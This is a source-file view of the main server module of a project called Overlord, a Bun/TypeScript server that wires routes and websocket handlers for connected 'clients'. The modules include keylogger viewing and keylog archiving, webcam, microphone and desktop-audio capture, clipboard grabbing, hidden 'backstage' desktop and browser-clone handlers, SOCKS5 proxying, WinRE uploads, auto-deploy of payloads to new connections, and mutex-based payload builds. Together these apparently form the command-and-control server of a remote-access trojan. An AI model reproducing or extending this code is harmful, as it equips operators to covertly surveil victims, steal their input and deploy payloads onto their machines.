Files
overlord/Overlord-Server/src/main-server.ts
T

867 lines
34 KiB
TypeScript
Raw Normal View History

2026-03-05 00:04:26 -06:00
import type { ServerWebSocket } from "bun";
import { decodeMessage, encodeMessage, type WireMessage, type PluginManifest } from "./protocol";
import { logger } from "./logger";
import { fileURLToPath, pathToFileURL } from "url";
2026-03-05 00:04:26 -06:00
import path from "path";
2026-04-08 10:33:22 -05:00
import fs from "fs/promises";
2026-04-18 22:38:08 -05:00
import { existsSync } from "node:fs";
2026-05-29 15:41:08 -05:00
import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, deleteExpiredChatMessages, getClientMetricsSummary, pruneOldNotifications, isClientNotificationsMuted } from "./db";
2026-03-05 00:04:26 -06:00
import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers";
import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation";
import { ClientInfo, ClientRole } from "./types";
import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "./auth";
import { loadConfig, getConfig } from "./config";
2026-06-08 22:33:34 -05:00
import { flushAuditLogsSync, getAuditQueueStats } from "./auditLog";
2026-05-29 15:41:08 -05:00
import { getUserById, getUsersForNotificationDelivery, getUsersForNotificationDeliveryByClientOwnership, isClientOwnedByUser, canUserAccessClient } from "./users";
2026-03-05 00:04:26 -06:00
import { requireAuth, requirePermission } from "./rbac";
import { metrics } from "./metrics";
2026-06-08 22:33:34 -05:00
import { getClientDbSyncStats } from "./client-db-sync";
2026-03-05 00:04:26 -06:00
import { ensureDataDir } from "./paths";
import { handleAuthRoutes } from "./server/routes/auth-routes";
2026-07-13 20:00:04 -05:00
import { handleUiRoutes } from "./server/routes/ui-routes";
2026-03-05 00:04:26 -06:00
import { handleAutoScriptsRoutes } from "./server/routes/auto-scripts-routes";
import { handleSavedScriptsRoutes } from "./server/routes/saved-scripts-routes";
import { handleEnrollmentRoutes, setPostApproveHook } from "./server/routes/enrollment-routes";
2026-04-14 21:56:18 -05:00
import { handleChatRoutes } from "./server/routes/chat-routes";
2026-03-05 00:04:26 -06:00
import { handleBuildRoutes } from "./server/routes/build-routes";
2026-04-05 18:18:40 -05:00
import { handleSolRoutes } from "./server/routes/sol-routes";
2026-03-05 00:04:26 -06:00
import { handleAssetsRoutes } from "./server/routes/assets-routes";
import { handleDeployRoutes } from "./server/routes/deploy-routes";
2026-03-29 00:46:18 -05:00
import { handleWinRERoutes } from "./server/routes/winre-routes";
2026-05-29 20:14:31 -05:00
import { handleFileDownloadRoutes } from "./server/routes/file-download-routes";
import { cleanupFileTransferTempFiles } from "./server/file-transfer-state";
2026-03-05 00:04:26 -06:00
import { handleClientRoutes } from "./server/routes/client-routes";
import { handleMiscRoutes } from "./server/routes/misc-routes";
import { handleKeylogArchiveRoutes } from "./server/routes/keylog-archive-routes";
2026-03-05 00:04:26 -06:00
import { handleNotificationsConfigRoutes } from "./server/routes/notifications-config-routes";
2026-07-08 20:34:25 -05:00
import { handleOidcRoutes } from "./server/routes/oidc-routes";
2026-03-05 00:04:26 -06:00
import { handlePageRoutes } from "./server/routes/page-routes";
import { handlePluginRoutes } from "./server/routes/plugin-routes";
2026-04-08 10:33:22 -05:00
import { handleFileShareRoutes } from "./server/routes/file-share-routes";
2026-03-05 00:04:26 -06:00
import { handleUsersRoutes } from "./server/routes/users-routes";
2026-05-19 00:46:30 -05:00
import { handlePermissionGroupsRoutes } from "./server/routes/permission-groups-routes";
2026-03-05 00:04:26 -06:00
import { handleWebSocketClose, handleWebSocketMessage, handleWebSocketOpen } from "./server/routes/websocket-lifecycle-routes";
import { handleWsUpgradeRoutes } from "./server/routes/ws-upgrade-routes";
2026-05-13 13:44:33 -05:00
import { handleWebrtcRoutes } from "./server/routes/webrtc-routes";
import { handleRemoteDesktopRecordingRoutes } from "./server/routes/rd-recording-routes";
2026-03-05 00:04:26 -06:00
import { isAuthorizedAgentRequest } from "./server/agent-auth";
import { generateBuildMutex, sanitizeMutex, sanitizeOutputName } from "./server/build-utils";
import { detectUploadOs, normalizeClientOs, type DeployOs } from "./server/deploy-utils";
import { CORS_HEADERS } from "./server/http-security";
2026-04-15 20:16:12 -05:00
import { mimeType, secureHeaders } from "./server/http-utils";
2026-03-05 00:04:26 -06:00
import { sanitizePluginId } from "./server/plugin-utils";
import { dispatchAutoScriptsForConnection } from "./server/auto-script-dispatch";
import { dispatchAutoDeploysForConnection } from "./server/auto-deploy-dispatch";
import { handleAutoDeployRoutes } from "./server/routes/auto-deploy-routes";
2026-04-19 18:24:50 -05:00
import { handleRegistrationRoutes } from "./server/routes/registration-routes";
2026-03-05 00:04:26 -06:00
import { consumeHttpDownloadPayload, type PendingHttpDownload } from "./server/http-download-consumer";
import { startBuildProcess as runBuildProcess } from "./server/build-process";
import { createHttpFetchHandler } from "./server/http-dispatch";
import { startMaintenanceLoops } from "./server/maintenance-loops";
import {
deliverNotificationWithScreenshot,
storeNotificationScreenshot,
takePendingNotificationScreenshot,
type NotificationRecord,
type PendingNotificationScreenshot,
2026-03-13 23:17:24 -05:00
type UserDeliveryTarget,
2026-03-05 00:04:26 -06:00
} from "./server/notification-delivery";
import {
ensurePluginExtracted as ensurePluginExtractedFromRoot,
listPluginManifests as listPluginManifestsFromRoot,
loadPluginBundle as loadPluginBundleFromRoot,
loadPluginStateFromDisk,
savePluginStateToDisk,
sendPluginBundle,
2026-03-23 10:58:52 -05:00
dispatchAutoLoadPlugins,
2026-06-22 10:52:27 -05:00
arePluginNeedsApproved,
2026-03-05 00:04:26 -06:00
} from "./server/plugin-state-bundle";
2026-05-03 00:29:05 -05:00
import { createPluginRuntime } from "./server/plugin-runtime/runtime";
2026-03-05 00:04:26 -06:00
import {
DISCONNECT_TIMEOUT_MS,
HEARTBEAT_INTERVAL_MS,
MAX_WS_MESSAGE_BYTES_CLIENT,
MAX_WS_MESSAGE_BYTES_VIEWER,
PRUNE_BATCH,
STALE_MS,
} from "./server/runtime-constants";
import { ALLOWED_PLATFORMS } from "./server/validation-constants";
import { prepareTlsOptions, logServerStartup } from "./server/tls-bootstrap";
import { createWebSocketRuntime } from "./server/websocket-runtime";
import {
handleConsoleOutput,
2026-07-13 09:34:16 -05:00
handleDesktopEncoderCapabilities,
2026-03-05 00:04:26 -06:00
handleConsoleViewerMessage,
handleConsoleViewerOpen,
handlebackstageViewerMessage,
handlebackstageViewerOpen,
2026-03-08 22:31:11 -05:00
handleWebcamViewerMessage,
handleWebcamViewerOpen,
handleWebcamDevices,
handlebackstageCloneProgress,
handlebackstageLookupResult,
handlebackstageBrowserCheckResult,
handlebackstageInstalledAppsResult,
handlebackstageDXGIStatus,
handlebackstageBrowserLaunchStatus,
handlebackstageWindowListResult,
2026-03-28 21:58:16 -05:00
handleClipboardContent,
2026-05-13 13:44:33 -05:00
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
cleanupRdViewerP2P,
2026-03-05 00:04:26 -06:00
handleRemoteDesktopViewerMessage,
handleRemoteDesktopViewerOpen,
backstageStreamingState,
2026-03-05 00:04:26 -06:00
notifyConsoleClosed,
notifyRdInputLatency,
notifyRemoteDesktopStatus,
rdStreamingState,
2026-03-08 22:31:11 -05:00
webcamStreamingState,
2026-03-05 00:04:26 -06:00
sendDesktopCommand,
sendbackstageCommand,
2026-03-05 00:04:26 -06:00
stopConsoleOnTarget,
} from "./server/ws-console-rd-backstage";
2026-03-05 00:04:26 -06:00
import {
handleFileBrowserMessage as forwardFileBrowserMessage,
handleFileBrowserViewerMessage,
handleFileBrowserViewerOpen,
handleKeyloggerMessage,
handleKeyloggerViewerMessage,
handleKeyloggerViewerOpen,
handleProcessMessage,
handleProcessViewerMessage,
handleProcessViewerOpen,
} from "./server/ws-file-process-proxy-keylogger";
2026-03-15 16:14:50 -05:00
import {
handleProxyTunnelData,
handleProxyTunnelClose,
handleProxyConnectResult,
} from "./server/socks5-proxy-manager";
2026-03-07 23:27:57 -06:00
import {
cleanupVoiceViewer,
handleVoiceUplink,
handleVoiceViewerMessage,
handleVoiceViewerOpen,
} from "./server/ws-voice";
import {
cleanupDesktopAudioViewer,
handleDesktopAudioUplink,
handleDesktopAudioViewerMessage,
handleDesktopAudioViewerOpen,
} from "./server/ws-desktop-audio";
2026-03-05 00:04:26 -06:00
import { createNotificationPluginHandlers } from "./server/ws-notifications-plugin";
import { loadOrGenerateVapidKeys } from "./server/web-push";
2026-06-08 22:33:34 -05:00
import { getThumbnailStats } from "./thumbnails";
2026-03-05 00:04:26 -06:00
import * as clientManager from "./clientManager";
import * as sessionManager from "./sessions/sessionManager";
import type { SocketData } from "./sessions/types";
import { SERVER_VERSION } from "./version";
2026-05-29 15:41:08 -05:00
import { handleChatViewerOpen, handleChatViewerMessage } from "./server/ws-chat";
import { handleBuildTagConnection } from "./server/build-tag";
import { dispatchKeylogArchiveSync, handleKeylogArchiveMessage, pruneExpiredKeylogArchive } from "./server/keylog-archive";
2026-03-05 00:04:26 -06:00
2026-05-01 19:13:11 -05:00
metrics.setSnapshotEnricher((snapshot) => {
const summary = getClientMetricsSummary();
2026-06-08 22:33:34 -05:00
const dbSync = getClientDbSyncStats();
const audit = getAuditQueueStats();
const thumbnails = getThumbnailStats();
2026-05-01 19:13:11 -05:00
snapshot.clients.total = summary.total;
snapshot.clients.online = summary.online;
snapshot.clients.offline = summary.total - summary.online;
snapshot.clients.byOS = summary.byOS;
snapshot.clients.byCountry = summary.byCountry;
snapshot.sessions.console = sessionManager.getConsoleSessionCount();
snapshot.sessions.remoteDesktop = sessionManager.getRdSessionCount();
snapshot.sessions.fileBrowser = sessionManager.getFileBrowserSessionCount();
snapshot.sessions.process = sessionManager.getProcessSessionCount();
2026-06-08 22:33:34 -05:00
snapshot.diagnostics = {
retained: {
clientsMap: clientManager.getClientCount(),
clientDbSyncTracked: dbSync.trackedClients,
clientDbSyncPending: dbSync.pendingUpdates,
clientDbSyncFlushScheduled: dbSync.flushScheduled,
auditQueued: audit.queued,
thumbnailsCached: thumbnails.cachedCount,
thumbnailBytes: thumbnails.cachedBytes,
thumbnailPendingFrames: thumbnails.pendingFrames,
thumbnailGenQueued: thumbnails.genQueued,
thumbnailGenState: thumbnails.genStateTracked,
dashboardSessions: sessionManager.getDashboardSessionCount(),
notificationSessions: sessionManager.getNotificationSessionCount(),
chatSessions: sessionManager.getChatSessionCount(),
pluginLoadedClients: pluginLoadedByClient.size,
pluginLoadingClients: pluginLoadingByClient.size,
pendingPluginEvents: pendingPluginEvents.size,
pendingHttpDownloads: pendingHttpDownloads.size,
downloadIntents: downloadIntents.size,
deployUploads: deployUploads.size,
winreUploads: winreUploads.size,
notificationRateClients: notificationRate.size,
pendingNotificationScreenshots: pendingNotificationScreenshots.size,
rdStreamingClients: rdStreamingState.size,
backstageStreamingClients: backstageStreamingState.size,
2026-06-08 22:33:34 -05:00
webcamStreamingClients: webcamStreamingState.size,
},
};
2026-05-01 19:13:11 -05:00
});
2026-03-05 00:04:26 -06:00
const config = loadConfig();
const isAuthorizedAgent = (req: Request, url: URL) =>
isAuthorizedAgentRequest(req, url, config.auth.agentToken);
const PORT = config.server.port;
const HOST = config.server.host;
2026-04-18 22:38:08 -05:00
function resolveRuntimeRoot(): string {
if (process.env.OVERLORD_ROOT?.trim()) {
return path.resolve(process.env.OVERLORD_ROOT);
}
const fromMeta = fileURLToPath(new URL("..", import.meta.url));
if (existsSync(path.join(fromMeta, "public"))) return fromMeta;
const exeDir = path.dirname(process.execPath);
if (existsSync(path.join(exeDir, "public"))) return exeDir;
const exeParent = path.dirname(exeDir);
if (existsSync(path.join(exeParent, "public"))) return exeParent;
return process.cwd();
}
const RUNTIME_ROOT = resolveRuntimeRoot();
2026-03-05 00:04:26 -06:00
const PUBLIC_ROOT = process.env.OVERLORD_PUBLIC_ROOT?.trim()
? path.resolve(process.env.OVERLORD_PUBLIC_ROOT)
: path.join(RUNTIME_ROOT, "public");
const PLUGIN_ROOT = process.env.OVERLORD_PLUGIN_ROOT?.trim()
? path.resolve(process.env.OVERLORD_PLUGIN_ROOT)
: path.join(RUNTIME_ROOT, "plugins");
const PLUGIN_STATE_PATH = path.join(PLUGIN_ROOT, ".plugin-state.json");
const DATA_DIR = ensureDataDir();
const DEPLOY_ROOT = path.join(DATA_DIR, "deploy");
2026-03-29 00:46:18 -05:00
const WINRE_ROOT = path.join(DATA_DIR, "winre");
2026-04-08 10:33:22 -05:00
const FILE_SHARE_ROOT = path.join(DATA_DIR, "file-share");
2026-03-05 00:04:26 -06:00
function resolvePluginWorkerHostUrl(): string {
const builtWorker = path.join(RUNTIME_ROOT, "dist", "server", "plugin-runtime", "worker-host.js");
if (existsSync(builtWorker)) {
return pathToFileURL(builtWorker).href;
}
return new URL("./server/plugin-runtime/worker-host.ts", import.meta.url).href;
}
2026-03-05 00:04:26 -06:00
const TLS_CERT_PATH = config.tls.certPath;
const TLS_KEY_PATH = config.tls.keyPath;
const TLS_CA_PATH = config.tls.caPath;
2026-03-07 15:14:00 -06:00
const TLS_CERTBOT = config.tls.certbot;
2026-03-05 00:04:26 -06:00
2026-03-07 16:19:04 -06:00
function envFlagEnabled(name: string): boolean {
const value = String(process.env[name] || "").trim().toLowerCase();
return value === "1" || value === "true" || value === "yes" || value === "on";
}
const TLS_OFFLOAD = envFlagEnabled("OVERLORD_TLS_OFFLOAD");
2026-03-08 00:53:22 -06:00
function parseMaxHttpBodyBytes(): number {
const raw = String(process.env.OVERLORD_MAX_HTTP_BODY_BYTES || "").trim();
if (raw !== "") {
const parsed = Number(raw);
if (Number.isFinite(parsed) && parsed > 0) {
return Math.floor(parsed);
}
logger.warn(`[HTTP] Invalid OVERLORD_MAX_HTTP_BODY_BYTES=${raw}; using default`);
}
2026-05-21 09:51:12 -05:00
return 1024 * 1024 * 1024;
2026-03-08 00:53:22 -06:00
}
const MAX_HTTP_BODY_BYTES = parseMaxHttpBodyBytes();
2026-03-05 00:04:26 -06:00
const pluginLoadedByClient = new Map<string, Set<string>>();
const pendingPluginEvents = new Map<string, Array<{ event: string; payload: any }>>();
const pluginLoadingByClient = new Map<string, Set<string>>();
2026-06-22 10:52:27 -05:00
let pluginState = { enabled: {} as Record<string, boolean>, lastError: {} as Record<string, string>, autoLoad: {} as Record<string, boolean>, autoStartEvents: {} as Record<string, Array<{ event: string; payload: any }>>, approvedNeeds: {} as Record<string, string> };
2026-03-05 00:04:26 -06:00
const savePluginState = () => savePluginStateToDisk(PLUGIN_ROOT, PLUGIN_STATE_PATH, pluginState);
const loadPluginState = async () => {
pluginState = await loadPluginStateFromDisk(PLUGIN_STATE_PATH);
};
2026-05-03 00:29:05 -05:00
const pluginRuntime = createPluginRuntime({
pluginRoot: PLUGIN_ROOT,
workerHostUrl: resolvePluginWorkerHostUrl(),
2026-05-03 00:29:05 -05:00
setLastError: (pluginId, error) => {
pluginState.lastError[pluginId] = error;
void savePluginState();
},
});
2026-03-05 00:04:26 -06:00
const ensurePluginExtracted = (pluginId: string) =>
ensurePluginExtractedFromRoot(PLUGIN_ROOT, pluginId, sanitizePluginId);
const listPluginManifests = () =>
listPluginManifestsFromRoot(PLUGIN_ROOT, pluginState, savePluginState, ensurePluginExtracted);
2026-03-19 16:29:26 -05:00
const loadPluginBundle = (pluginId: string, clientOS?: string, clientArch?: string) =>
loadPluginBundleFromRoot(PLUGIN_ROOT, pluginId, ensurePluginExtracted, clientOS, clientArch);
2026-03-05 00:04:26 -06:00
const startBuildProcess = (buildId: string, buildConfig: any) =>
runBuildProcess(buildId, buildConfig, {
generateBuildMutex,
sanitizeOutputName,
2026-05-17 19:49:50 -05:00
fileShareRoot: FILE_SHARE_ROOT,
2026-06-22 12:54:12 -05:00
runBuildHookForAll: (hook, payload) => pluginRuntime.runBuildHookForAll(hook, payload),
2026-03-05 00:04:26 -06:00
});
const pendingHttpDownloads = new Map<string, PendingHttpDownload>();
type DownloadIntent = {
id: string;
2026-05-06 20:07:15 -05:00
userId: number;
2026-03-05 00:04:26 -06:00
clientId: string;
path: string;
expiresAt: number;
timeout: ReturnType<typeof setTimeout>;
};
const downloadIntents = new Map<string, DownloadIntent>();
type DeployUpload = {
id: string;
path: string;
name: string;
size: number;
os: DeployOs;
};
const deployUploads = new Map<string, DeployUpload>();
2026-03-29 00:46:18 -05:00
type WinREUpload = {
id: string;
path: string;
name: string;
size: number;
};
const winreUploads = new Map<string, WinREUpload>();
2026-03-05 00:04:26 -06:00
type NotificationRateState = {
lastSent: number;
windowStart: number;
suppressed: number;
lastWarned: number;
};
const notificationRate = new Map<string, NotificationRateState>();
const getNotificationConfig = () => getConfig().notifications;
const pendingNotificationScreenshots = new Map<string, PendingNotificationScreenshot>();
const takePendingNotificationScreenshotForClient = (clientId: string) =>
takePendingNotificationScreenshot(pendingNotificationScreenshots, clientId);
const storeNotificationScreenshotForPending = (
pending: PendingNotificationScreenshot,
bytes: Uint8Array,
format: string,
width?: number,
height?: number,
) => storeNotificationScreenshot(pending, bytes, format, width, height);
pruneOldNotifications();
setInterval(pruneOldNotifications, 60 * 60 * 1000);
2026-05-06 18:24:33 -05:00
const toDeliveryTarget = (u: any): UserDeliveryTarget => ({
userId: u.id,
username: u.username,
webhookEnabled: u.webhook_enabled === 1,
webhookUrl: u.webhook_url || "",
webhookTemplate: u.webhook_template,
telegramEnabled: u.telegram_enabled === 1,
telegramBotToken: u.telegram_bot_token || "",
telegramChatId: u.telegram_chat_id || "",
telegramTemplate: u.telegram_template,
clientEventWebhook: u.client_event_webhook === 1,
clientEventTelegram: u.client_event_telegram === 1,
clientEventPush: u.client_event_push === 1,
});
2026-03-12 21:26:53 -05:00
const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => {
2026-05-17 17:12:31 -05:00
const getUserDeliveryTargets = (clientId: string): UserDeliveryTarget[] => {
const all = getUsersForNotificationDelivery();
return all.filter((u) => canUserAccessClient(u.id, u.role, clientId)).map(toDeliveryTarget);
};
2026-03-13 23:17:24 -05:00
return deliverNotificationWithScreenshot(record, getUserDeliveryTargets);
2026-03-12 21:26:53 -05:00
};
2026-03-05 00:04:26 -06:00
const notificationPluginHandlers = createNotificationPluginHandlers({
notificationRate,
pendingNotificationScreenshots,
pluginLoadedByClient,
pluginLoadingByClient,
pendingPluginEvents,
pluginState,
getNotificationConfig,
2026-05-06 20:07:15 -05:00
canUserAccessClient: canUserAccessClient as (userId: number, userRole: string, clientId: string) => boolean,
2026-05-18 23:07:11 -05:00
isClientOwnedByUser,
getUserRole: (userId: number) => getUserById(userId)?.role,
2026-05-15 18:29:25 -05:00
isClientNotificationsMuted,
2026-03-05 00:04:26 -06:00
storeNotificationScreenshot: storeNotificationScreenshotForPending,
deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
2026-05-03 00:29:05 -05:00
forwardPluginEventToRuntime: (clientId, pluginId, event, payload) =>
pluginRuntime.dispatchClientEvent(clientId, pluginId, event, payload),
getDeliveryTargetsForClientEvent: (event: string, clientId: string): UserDeliveryTarget[] => {
2026-05-17 17:12:31 -05:00
if (event === "client_purgatory") {
2026-05-18 23:07:11 -05:00
return getUsersForNotificationDeliveryByClientOwnership(clientId).map(toDeliveryTarget);
2026-05-17 17:12:31 -05:00
}
2026-05-18 23:07:11 -05:00
return getUsersForNotificationDelivery()
.filter((u) => canUserAccessClient(u.id, u.role, clientId))
.map(toDeliveryTarget);
},
2026-03-05 00:04:26 -06:00
savePluginState,
});
type SocketRole = ClientRole | "console_viewer" | "rd_viewer" | "webcam_viewer" | "backstage_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "notifications_viewer";
2026-03-05 00:04:26 -06:00
type PendingScript = {
resolve: (result: any) => void;
reject: (error: any) => void;
timeout: NodeJS.Timeout;
clientId: string;
2026-03-05 00:04:26 -06:00
};
const pendingScripts = new Map<string, PendingScript>();
2026-03-07 23:27:57 -06:00
type PendingCommandReply = {
resolve: (result: { ok: boolean; message?: string }) => void;
reject: (error: Error) => void;
timeout: NodeJS.Timeout;
clientId: string;
2026-03-07 23:27:57 -06:00
};
const pendingCommandReplies = new Map<string, PendingCommandReply>();
2026-03-05 00:04:26 -06:00
async function startServer() {
await loadPluginState();
2026-05-03 00:29:05 -05:00
try {
const manifests = await listPluginManifests();
for (const manifest of manifests) {
if (pluginState.enabled[manifest.id] === false) continue;
if (!pluginRuntime.hasServerCode(manifest.id)) continue;
try {
await pluginRuntime.startPlugin(manifest.id);
} catch (err) {
logger.warn(`[plugin-runtime] boot failed for ${manifest.id}: ${(err as Error).message}`);
}
}
} catch (err) {
logger.warn(`[plugin-runtime] startup scan failed: ${(err as Error).message}`);
}
setPostApproveHook((clientId: string) => {
const client = clientManager.getClient(clientId);
if (!client) return;
dispatchAutoLoadPlugins(
client,
pluginState,
notificationPluginHandlers.isPluginLoaded,
notificationPluginHandlers.isPluginLoading,
notificationPluginHandlers.markPluginLoading,
notificationPluginHandlers.enqueuePluginEvent,
loadPluginBundle,
).catch((err) => {
logger.warn(`[enrollment] failed to dispatch auto-load plugins for ${clientId}: ${(err as Error).message}`);
});
});
2026-03-08 00:53:22 -06:00
await cleanupFileTransferTempFiles(DATA_DIR);
logger.info("[filebrowser] cleaned stale transfer temp files on startup");
2026-03-07 16:19:04 -06:00
let tls:
| {
tlsOptions: { cert?: string; key?: string; ca?: string };
certPathUsed: string;
source: "certbot" | "configured" | "self-signed";
}
| null = null;
if (TLS_OFFLOAD) {
logger.warn(
"[TLS] OVERLORD_TLS_OFFLOAD=true: TLS is expected to terminate at an external proxy/load balancer.",
);
logger.warn("[TLS] Running internal HTTP listener only. Do not expose the container port directly to the internet.");
} else {
tls = await prepareTlsOptions({
certPath: TLS_CERT_PATH,
keyPath: TLS_KEY_PATH,
caPath: TLS_CA_PATH,
certbot: TLS_CERTBOT,
});
}
2026-03-05 00:04:26 -06:00
const routeDeps = {
notificationsConfig: {
getNotificationScreenshot,
secureHeaders,
},
build: {
startBuildProcess,
sanitizeMutex,
allowedPlatforms: ALLOWED_PLATFORMS,
2026-06-22 12:54:12 -05:00
listPluginManifests,
2026-03-05 00:04:26 -06:00
},
deploy: {
DEPLOY_ROOT,
deployUploads,
pendingCommandReplies,
2026-03-05 00:04:26 -06:00
detectUploadOs,
normalizeClientOs,
},
autoDeploy: {
DEPLOY_ROOT,
detectUploadOs,
},
2026-03-29 00:46:18 -05:00
winre: {
WINRE_ROOT,
winreUploads,
2026-06-06 23:34:44 -05:00
pendingCommandReplies,
2026-03-29 00:46:18 -05:00
},
2026-03-05 00:04:26 -06:00
fileDownload: {
DATA_DIR,
secureHeaders,
sanitizeOutputName,
pendingHttpDownloads,
downloadIntents,
},
plugin: {
PLUGIN_ROOT,
PUBLIC_ROOT,
2026-03-05 00:04:26 -06:00
pluginState,
pluginLoadedByClient,
pluginLoadingByClient,
pendingPluginEvents,
sanitizePluginId,
ensurePluginExtracted,
savePluginState,
listPluginManifests,
loadPluginBundle,
sendPluginBundle,
markPluginLoading: notificationPluginHandlers.markPluginLoading,
isPluginLoaded: notificationPluginHandlers.isPluginLoaded,
isPluginLoading: notificationPluginHandlers.isPluginLoading,
enqueuePluginEvent: notificationPluginHandlers.enqueuePluginEvent,
2026-03-23 10:58:52 -05:00
drainPluginUIEvents: notificationPluginHandlers.drainPluginUIEvents,
2026-03-05 00:04:26 -06:00
secureHeaders,
mimeType,
2026-05-03 00:29:05 -05:00
pluginRuntime,
2026-03-05 00:04:26 -06:00
},
2026-04-08 10:33:22 -05:00
fileShare: {
FILE_SHARE_ROOT,
},
2026-03-05 00:04:26 -06:00
misc: {
CORS_HEADERS,
SERVER_VERSION,
2026-07-08 21:47:57 -05:00
PUBLIC_ROOT,
2026-03-05 00:04:26 -06:00
getConsoleSessionCount: sessionManager.getConsoleSessionCount,
getRdSessionCount: sessionManager.getRdSessionCount,
getFileBrowserSessionCount: sessionManager.getFileBrowserSessionCount,
getProcessSessionCount: sessionManager.getProcessSessionCount,
2026-03-22 00:36:02 -05:00
tlsCertPath: tls?.certPathUsed,
tlsSource: tls?.source,
2026-03-05 00:04:26 -06:00
},
assets: {
PUBLIC_ROOT,
secureHeaders,
mimeType,
},
page: {
PUBLIC_ROOT,
secureHeaders,
mimeType,
},
client: {
CORS_HEADERS,
pendingScripts,
2026-03-07 23:27:57 -06:00
pendingCommandReplies,
broadcastNotificationsCleared: notificationPluginHandlers.broadcastNotificationsCleared,
2026-03-05 00:04:26 -06:00
},
rdRecording: {
secureHeaders,
},
2026-03-05 00:04:26 -06:00
wsUpgrade: {
isAuthorizedAgentRequest: isAuthorizedAgent,
},
2026-04-19 18:24:50 -05:00
registration: {},
2026-03-05 00:04:26 -06:00
};
const lifecycleDeps = {
maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT,
maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER,
pendingScripts,
2026-03-07 23:27:57 -06:00
pendingCommandReplies,
2026-03-05 00:04:26 -06:00
rdStreamingState,
backstageStreamingState,
2026-03-08 22:31:11 -05:00
webcamStreamingState,
2026-03-05 00:04:26 -06:00
getNotificationConfig,
handleConsoleViewerOpen,
handleRemoteDesktopViewerOpen,
2026-03-08 22:31:11 -05:00
handleWebcamViewerOpen,
handlebackstageViewerOpen,
2026-03-05 00:04:26 -06:00
handleFileBrowserViewerOpen,
handleProcessViewerOpen,
handleKeyloggerViewerOpen,
2026-03-07 23:27:57 -06:00
handleVoiceViewerOpen,
handleDesktopAudioViewerOpen,
handleDashboardViewerOpen: (ws: import("bun").ServerWebSocket<SocketData>) => {
const id = crypto.randomUUID();
ws.data.sessionId = id;
sessionManager.addDashboardSession({
id,
viewer: ws,
createdAt: Date.now(),
userId: ws.data.userId,
userRole: ws.data.userRole,
});
},
2026-03-05 00:04:26 -06:00
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
2026-05-29 15:41:08 -05:00
handleChatViewerOpen,
handleChatViewerMessage,
2026-03-05 00:04:26 -06:00
handleConsoleViewerMessage,
handleRemoteDesktopViewerMessage,
2026-03-08 22:31:11 -05:00
handleWebcamViewerMessage,
handlebackstageViewerMessage,
2026-03-05 00:04:26 -06:00
handleFileBrowserViewerMessage,
handleProcessViewerMessage,
handleKeyloggerViewerMessage,
2026-03-07 23:27:57 -06:00
handleVoiceViewerMessage,
handleDesktopAudioViewerMessage,
2026-03-05 00:04:26 -06:00
dispatchAutoScriptsForConnection,
dispatchAutoDeploysForConnection: (info: import("./types").ClientInfo, ws: import("bun").ServerWebSocket<SocketData>) => {
dispatchAutoDeploysForConnection(info, ws, { pendingCommandReplies });
},
2026-03-23 10:58:52 -05:00
dispatchAutoLoadPlugins: (info: import("./types").ClientInfo) => {
dispatchAutoLoadPlugins(
info,
pluginState,
notificationPluginHandlers.isPluginLoaded,
notificationPluginHandlers.isPluginLoading,
notificationPluginHandlers.markPluginLoading,
notificationPluginHandlers.enqueuePluginEvent,
loadPluginBundle,
2026-06-22 10:52:27 -05:00
async (pluginId: string) => {
const manifests = await listPluginManifests();
const manifest = manifests.find((p) => p.id === pluginId);
if (!manifest) return false;
return arePluginNeedsApproved(pluginState, pluginId, manifest.needs);
},
).catch((err) => {
logger.warn(`[plugin-autoload] dispatch error for ${info.id}: ${(err as Error).message}`);
});
2026-03-23 10:58:52 -05:00
},
dispatchKeylogArchiveSync,
2026-03-05 00:04:26 -06:00
takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient,
storeNotificationScreenshot: storeNotificationScreenshotForPending,
handleNotificationScreenshotResult: notificationPluginHandlers.handleNotificationScreenshotResult,
handleConsoleOutput: (clientId: string, payload: any) => handleConsoleOutput(clientId, payload),
2026-07-13 09:34:16 -05:00
handleDesktopEncoderCapabilities: (clientId: string, payload: any) => handleDesktopEncoderCapabilities(clientId, payload),
2026-03-05 00:04:26 -06:00
handleFileBrowserMessage: (clientId: string, payload: any) =>
forwardFileBrowserMessage(clientId, payload, {
pendingHttpDownloads,
consumeHttpDownloadPayload: (downloadPayload: any) =>
consumeHttpDownloadPayload(downloadPayload, pendingHttpDownloads),
}),
2026-03-15 16:14:50 -05:00
handleProxyTunnelData,
handleProxyTunnelClose,
handleProxyConnectResult,
2026-03-05 00:04:26 -06:00
handleProcessMessage,
handleKeyloggerMessage,
handleKeylogArchiveMessage,
2026-03-05 00:04:26 -06:00
notifyRdInputLatency,
handleNotificationScreenshotFailure: notificationPluginHandlers.handleNotificationScreenshotFailure,
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
handleNotification: notificationPluginHandlers.handleNotification,
2026-03-07 23:27:57 -06:00
handleVoiceUplink,
handleDesktopAudioUplink,
2026-03-08 22:31:11 -05:00
handleWebcamDevices,
handlebackstageCloneProgress,
handlebackstageLookupResult,
handlebackstageBrowserCheckResult,
handlebackstageInstalledAppsResult,
handlebackstageDXGIStatus,
handlebackstageBrowserLaunchStatus,
handlebackstageWindowListResult,
2026-03-28 21:58:16 -05:00
handleClipboardContent,
2026-05-13 13:44:33 -05:00
handleWebrtcP2PAnswer,
handleWebrtcP2PIce,
cleanupRdViewerP2P,
2026-03-07 23:27:57 -06:00
cleanupVoiceViewer,
cleanupDesktopAudioViewer,
2026-03-05 00:04:26 -06:00
stopConsoleOnTarget,
sendDesktopCommand,
sendbackstageCommand,
2026-03-05 00:04:26 -06:00
notifyConsoleClosed,
clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots,
2026-04-03 09:30:58 -05:00
clearClientPluginState: notificationPluginHandlers.clearClientPluginState,
2026-03-05 00:04:26 -06:00
